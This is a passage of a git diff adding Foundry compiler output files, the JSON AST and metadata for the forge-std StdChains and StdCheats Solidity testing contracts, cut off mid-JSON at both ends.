memory)"}},"id":3436,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11348:112:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":3437,"nodeType":"ExpressionStatement","src":"11348:112:2"}]},"implemented":true,"kind":"function","modifiers":[],"name":"initializeStdChains","nameLocation":"8292:19:2","parameters":{"id":3222,"nodeType":"ParameterList","parameters":[],"src":"8311:2:2"},"returnParameters":{"id":3223,"nodeType":"ParameterList","parameters":[],"src":"8322:0:2"},"scope":3477,"stateMutability":"nonpayable","virtual":false,"visibility":"private"},{"id":3476,"nodeType":"FunctionDefinition","src":"11549:305:2","nodes":[],"body":{"id":3475,"nodeType":"Block","src":"11642:212:2","nodes":[],"statements":[{"assignments":[3448],"declarations":[{"constant":false,"id":3448,"mutability":"mutable","name":"rpcUrl","nameLocation":"11666:6:2","nodeType":"VariableDeclaration","scope":3475,"src":"11652:20:2","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":3447,"name":"string","nodeType":"ElementaryTypeName","src":"11652:6:2","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"id":3451,"initialValue":{"expression":{"id":3449,"name":"chain","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3444,"src":"11675:5:2","typeDescriptions":{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}},"id":3450,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"11681:6:2","memberName":"rpcUrl","nodeType":"MemberAccess","referencedDeclaration":2725,"src":"11675:12:2","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"nodeType":"VariableDeclarationStatement","src":"11652:35:2"},{"expression":{"id":3456,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":3452,"name":"defaultRpcUrls","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2744,"src":"11697:14:2","typeDescriptions":{"typeIdentifier":"t_mapping$_t_string_memory_ptr_$_t_string_storage_$","typeString":"mapping(string memory => string storage ref)"}},"id":3454,"indexExpression":{"id":3453,"name":"chainAlias","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3441,"src":"11712:10:2","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"11697:26:2","typeDescriptions":{"typeIdentifier":"t_string_storage","typeString":"string storage ref"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":3455,"name":"rpcUrl","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3448,"src":"11726:6:2","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"src":"11697:35:2","typeDescriptions":{"typeIdentifier":"t_string_storage","typeString":"string storage ref"}},"id":3457,"nodeType":"ExpressionStatement","src":"11697:35:2"},{"expression":{"id":3462,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":3458,"name":"chain","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3444,"src":"11742:5:2","typeDescriptions":{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}},"id":3460,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"11748:6:2","memberName":"rpcUrl","nodeType":"MemberAccess","referencedDeclaration":2725,"src":"11742:12:2","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"hexValue":"","id":3461,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"11757:2:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""},"value":""},"src":"11742:17:2","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"id":3463,"nodeType":"ExpressionStatement","src":"11742:17:2"},{"expression":{"arguments":[{"id":3465,"name":"chainAlias","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3441,"src":"11778:10:2","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":3466,"name":"chain","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3444,"src":"11790:5:2","typeDescriptions":{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}],"id":3464,"name":"setChain","nodeType":"Identifier","overloadedDeclarations":[2970,2991],"referencedDeclaration":2970,"src":"11769:8:2","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_string_memory_ptr_$_t_struct$_ChainData_$2726_memory_ptr_$returns$__$","typeString":"function (string memory,struct StdChains.ChainData memory)"}},"id":3467,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11769:27:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":3468,"nodeType":"ExpressionStatement","src":"11769:27:2"},{"expression":{"id":3473,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":3469,"name":"chain","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3444,"src":"11806:5:2","typeDescriptions":{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}},"id":3471,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"11812:6:2","memberName":"rpcUrl","nodeType":"MemberAccess","referencedDeclaration":2725,"src":"11806:12:2","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":3472,"name":"rpcUrl","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3448,"src":"11821:6:2","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"src":"11806:21:2","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"id":3474,"nodeType":"ExpressionStatement","src":"11806:21:2"}]},"implemented":true,"kind":"function","modifiers":[],"name":"setChainWithDefaultRpcUrl","nameLocation":"11558:25:2","parameters":{"id":3445,"nodeType":"ParameterList","parameters":[{"constant":false,"id":3441,"mutability":"mutable","name":"chainAlias","nameLocation":"11598:10:2","nodeType":"VariableDeclaration","scope":3476,"src":"11584:24:2","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":3440,"name":"string","nodeType":"ElementaryTypeName","src":"11584:6:2","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":3444,"mutability":"mutable","name":"chain","nameLocation":"11627:5:2","nodeType":"VariableDeclaration","scope":3476,"src":"11610:22:2","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData"},"typeName":{"id":3443,"nodeType":"UserDefinedTypeName","pathNode":{"id":3442,"name":"ChainData","nameLocations":["11610:9:2"],"nodeType":"IdentifierPath","referencedDeclaration":2726,"src":"11610:9:2"},"referencedDeclaration":2726,"src":"11610:9:2","typeDescriptions":{"typeIdentifier":"t_struct$_ChainData_$2726_storage_ptr","typeString":"struct StdChains.ChainData"}},"visibility":"internal"}],"src":"11583:50:2"},"returnParameters":{"id":3446,"nodeType":"ParameterList","parameters":[],"src":"11642:0:2"},"scope":3477,"stateMutability":"nonpayable","virtual":false,"visibility":"private"}],"abstract":true,"baseContracts":[],"canonicalName":"StdChains","contractDependencies":[],"contractKind":"contract","documentation":{"id":2700,"nodeType":"StructuredDocumentation","src":"99:1799:2","text":" StdChains provides information about EVM compatible chains that can be used in scripts/tests.\n For each chain, the chain's name, chain ID, and a default RPC URL are provided. Chains are\n identified by their alias, which is the same as the alias in the `[rpc_endpoints]` section of\n the `foundry.toml` file. For best UX, ensure the alias in the `foundry.toml` file match the\n alias used in this contract, which can be found as the first argument to the\n `setChainWithDefaultRpcUrl` call in the `initializeStdChains` function.\n There are two main ways to use this contract:\n 1. Set a chain with `setChain(string memory chainAlias, ChainData memory chain)` or\n `setChain(string memory chainAlias, Chain memory chain)`\n 2. Get a chain with `getChain(string memory chainAlias)` or `getChain(uint256 chainId)`.\n The first time either of those are used, chains are initialized with the default set of RPC URLs.\n This is done in `initializeStdChains`, which uses `setChainWithDefaultRpcUrl`. Defaults are recorded in\n `defaultRpcUrls`.\n The `setChain` function is straightforward, and it simply saves off the given chain data.\n The `getChain` methods use `getChainWithUpdatedRpcUrl` to return a chain. For example, let's say\n we want to retrieve the RPC URL for `mainnet`:\n - If you have specified data with `setChain`, it will return that.\n - If you have configured a mainnet RPC URL in `foundry.toml`, it will return the URL, provided it\n is valid (e.g. a URL is specified, or an environment variable is given and exists).\n - If neither of the above conditions is met, the default data is returned.\n Summarizing the above, the prioritization hierarchy is `setChain` -> `foundry.toml` -> environment variable -> defaults."},"fullyImplemented":true,"linearizedBaseContracts":[3477],"name":"StdChains","nameLocation":"1917:9:2","scope":3478,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":2} \ No newline at end of file diff --git a/contracts/out/StdCheats.sol/StdCheats.json b/contracts/out/StdCheats.sol/StdCheats.json new file mode 100644 index 000000000..77f1f2444 --- /dev/null +++ b/contracts/out/StdCheats.sol/StdCheats.json @@ -0,0 +1 @@ +{"abi":[],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"lib/forge-std/src/StdCheats.sol\":\"StdCheats\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/StdCheats.sol\":{\"keccak256\":\"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2\",\"dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc\"]},\"lib/forge-std/src/StdStorage.sol\":{\"keccak256\":\"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678\",\"dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft\"]},\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]},\"lib/forge-std/src/console2.sol\":{\"keccak256\":\"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973\",\"dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"lib/forge-std/src/StdCheats.sol":"StdCheats"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/StdCheats.sol":{"keccak256":"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7","urls":["bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2","dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc"],"license":"MIT"},"lib/forge-std/src/StdStorage.sol":{"keccak256":"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3","urls":["bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678","dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft"],"license":"MIT"},"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR Apache-2.0"},"lib/forge-std/src/console2.sol":{"keccak256":"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea","urls":["bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973","dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"lib/forge-std/src/StdCheats.sol","id":6331,"exportedSymbols":{"StdCheats":[6330],"StdCheatsSafe":[5537],"StdStorage":[7427],"Vm":[15673],"console2":[31862],"stdStorage":[9386]},"nodeType":"SourceUnit","src":"32:31442:3","nodes":[{"id":3479,"nodeType":"PragmaDirective","src":"32:31:3","nodes":[],"literals":["solidity",">=","0.6",".2","<","0.9",".0"]},{"id":3480,"nodeType":"PragmaDirective","src":"65:33:3","nodes":[],"literals":["experimental","ABIEncoderV2"]},{"id":3483,"nodeType":"ImportDirective","src":"100:56:3","nodes":[],"absolutePath":"lib/forge-std/src/StdStorage.sol","file":"./StdStorage.sol","nameLocation":"-1:-1:-1","scope":6331,"sourceUnit":9387,"symbolAliases":[{"foreign":{"id":3481,"name":"StdStorage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7427,"src":"108:10:3","typeDescriptions":{}},"nameLocation":"-1:-1:-1"},{"foreign":{"id":3482,"name":"stdStorage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9386,"src":"120:10:3","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":3485,"nodeType":"ImportDirective","src":"157:40:3","nodes":[],"absolutePath":"lib/forge-std/src/console2.sol","file":"./console2.sol","nameLocation":"-1:-1:-1","scope":6331,"sourceUnit":31863,"symbolAliases":[{"foreign":{"id":3484,"name":"console2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31862,"src":"165:8:3","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":3487,"nodeType":"ImportDirective","src":"198:28:3","nodes":[],"absolutePath":"lib/forge-std/src/Vm.sol","file":"./Vm.sol","nameLocation":"-1:-1:-1","scope":6331,"sourceUnit":15674,"symbolAliases":[{"foreign":{"id":3486,"name":"Vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15673,"src":"206:2:3","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":5537,"nodeType":"ContractDefinition","src":"228:23951:3","nodes":[{"id":3504,"nodeType":"VariableDeclaration","src":"266:84:3","nodes":[],"constant":true,"mutability":"constant","name":"vm","nameLocation":"286:2:3","scope":5537,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"},"typeName":{"id":3489,"nodeType":"UserDefinedTypeName","pathNode":{"id":3488,"name":"Vm","nameLocations":["266:2:3"],"nodeType":"IdentifierPath","referencedDeclaration":15673,"src":"266:2:3"},"referencedDeclaration":15673,"src":"266:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"value":{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"hexValue":"6865766d20636865617420636f6465","id":3498,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"328:17:3","typeDescriptions":{"typeIdentifier":"t_stringliteral_885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d","typeString":"literal_string \"hevm cheat code\""},"value":"hevm cheat code"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d","typeString":"literal_string \"hevm cheat code\""}],"id":3497,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"318:9:3","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":3499,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"318:28:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":3496,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"310:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":3495,"name":"uint256","nodeType":"ElementaryTypeName","src":"310:7:3","typeDescriptions":{}}},"id":3500,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"310:37:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":3494,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"302:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_uint160_$","typeString":"type(uint160)"},"typeName":{"id":3493,"name":"uint160","nodeType":"ElementaryTypeName","src":"302:7:3","typeDescriptions":{}}},"id":3501,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"302:46:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint160","typeString":"uint160"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint160","typeString":"uint160"}],"id":3492,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"294:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":3491,"name":"address","nodeType":"ElementaryTypeName","src":"294:7:3","typeDescriptions":{}}},"id":3502,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"294:55:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":3490,"name":"Vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15673,"src":"291:2:3","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Vm_$15673_$","typeString":"type(contract Vm)"}},"id":3503,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"291:59:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"visibility":"private"},{"id":3507,"nodeType":"VariableDeclaration","src":"357:125:3","nodes":[],"constant":true,"mutability":"constant","name":"UINT256_MAX","nameLocation":"382:11:3","scope":5537,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":3505,"name":"uint256","nodeType":"ElementaryTypeName","src":"357:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":{"hexValue":"313135373932303839323337333136313935343233353730393835303038363837393037383533323639393834363635363430353634303339343537353834303037393133313239363339393335","id":3506,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"404:78:3","typeDescriptions":{"typeIdentifier":"t_rational_115792089237316195423570985008687907853269984665640564039457584007913129639935_by_1","typeString":"int_const 1157...(70 digits omitted)...9935"},"value":"115792089237316195423570985008687907853269984665640564039457584007913129639935"},"visibility":"private"},{"id":3509,"nodeType":"VariableDeclaration","src":"489:27:3","nodes":[],"constant":false,"mutability":"mutable","name":"gasMeteringOff","nameLocation":"502:14:3","scope":5537,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":3508,"name":"bool","nodeType":"ElementaryTypeName","src":"489:4:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"private"},{"id":3526,"nodeType":"StructDefinition","src":"761:325:3","nodes":[],"canonicalName":"StdCheatsSafe.RawTx1559","members":[{"constant":false,"id":3512,"mutability":"mutable","name":"arguments","nameLocation":"797:9:3","nodeType":"VariableDeclaration","scope":3526,"src":"788:18:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"},"typeName":{"baseType":{"id":3510,"name":"string","nodeType":"ElementaryTypeName","src":"788:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":3511,"nodeType":"ArrayTypeName","src":"788:8:3","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"internal"},{"constant":false,"id":3514,"mutability":"mutable","name":"contractAddress","nameLocation":"824:15:3","nodeType":"VariableDeclaration","scope":3526,"src":"816:23:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":3513,"name":"address","nodeType":"ElementaryTypeName","src":"816:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":3516,"mutability":"mutable","name":"contractName","nameLocation":"856:12:3","nodeType":"VariableDeclaration","scope":3526,"src":"849:19:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"},"typeName":{"id":3515,"name":"string","nodeType":"ElementaryTypeName","src":"849:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":3518,"mutability":"mutable","name":"functionSig","nameLocation":"923:11:3","nodeType":"VariableDeclaration","scope":3526,"src":"916:18:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"},"typeName":{"id":3517,"name":"string","nodeType":"ElementaryTypeName","src":"916:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":3520,"mutability":"mutable","name":"hash","nameLocation":"952:4:3","nodeType":"VariableDeclaration","scope":3526,"src":"944:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":3519,"name":"bytes32","nodeType":"ElementaryTypeName","src":"944:7:3","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":3523,"mutability":"mutable","name":"txDetail","nameLocation":"1014:8:3","nodeType":"VariableDeclaration","scope":3526,"src":"998:24:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559Detail_$3545_storage_ptr","typeString":"struct StdCheatsSafe.RawTx1559Detail"},"typeName":{"id":3522,"nodeType":"UserDefinedTypeName","pathNode":{"id":3521,"name":"RawTx1559Detail","nameLocations":["998:15:3"],"nodeType":"IdentifierPath","referencedDeclaration":3545,"src":"998:15:3"},"referencedDeclaration":3545,"src":"998:15:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559Detail_$3545_storage_ptr","typeString":"struct StdCheatsSafe.RawTx1559Detail"}},"visibility":"internal"},{"constant":false,"id":3525,"mutability":"mutable","name":"opcode","nameLocation":"1073:6:3","nodeType":"VariableDeclaration","scope":3526,"src":"1066:13:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"},"typeName":{"id":3524,"name":"string","nodeType":"ElementaryTypeName","src":"1066:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"name":"RawTx1559","nameLocation":"768:9:3","scope":5537,"visibility":"public"},{"id":3545,"nodeType":"StructDefinition","src":"1092:208:3","nodes":[],"canonicalName":"StdCheatsSafe.RawTx1559Detail","members":[{"constant":false,"id":3530,"mutability":"mutable","name":"accessList","nameLocation":"1138:10:3","nodeType":"VariableDeclaration","scope":3545,"src":"1125:23:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_AccessList_$3637_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.AccessList[]"},"typeName":{"baseType":{"id":3528,"nodeType":"UserDefinedTypeName","pathNode":{"id":3527,"name":"AccessList","nameLocations":["1125:10:3"],"nodeType":"IdentifierPath","referencedDeclaration":3637,"src":"1125:10:3"},"referencedDeclaration":3637,"src":"1125:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_AccessList_$3637_storage_ptr","typeString":"struct StdCheatsSafe.AccessList"}},"id":3529,"nodeType":"ArrayTypeName","src":"1125:12:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_AccessList_$3637_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.AccessList[]"}},"visibility":"internal"},{"constant":false,"id":3532,"mutability":"mutable","name":"data","nameLocation":"1164:4:3","nodeType":"VariableDeclaration","scope":3545,"src":"1158:10:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":3531,"name":"bytes","nodeType":"ElementaryTypeName","src":"1158:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":3534,"mutability":"mutable","name":"from","nameLocation":"1186:4:3","nodeType":"VariableDeclaration","scope":3545,"src":"1178:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":3533,"name":"address","nodeType":"ElementaryTypeName","src":"1178:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":3536,"mutability":"mutable","name":"gas","nameLocation":"1206:3:3","nodeType":"VariableDeclaration","scope":3545,"src":"1200:9:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"ty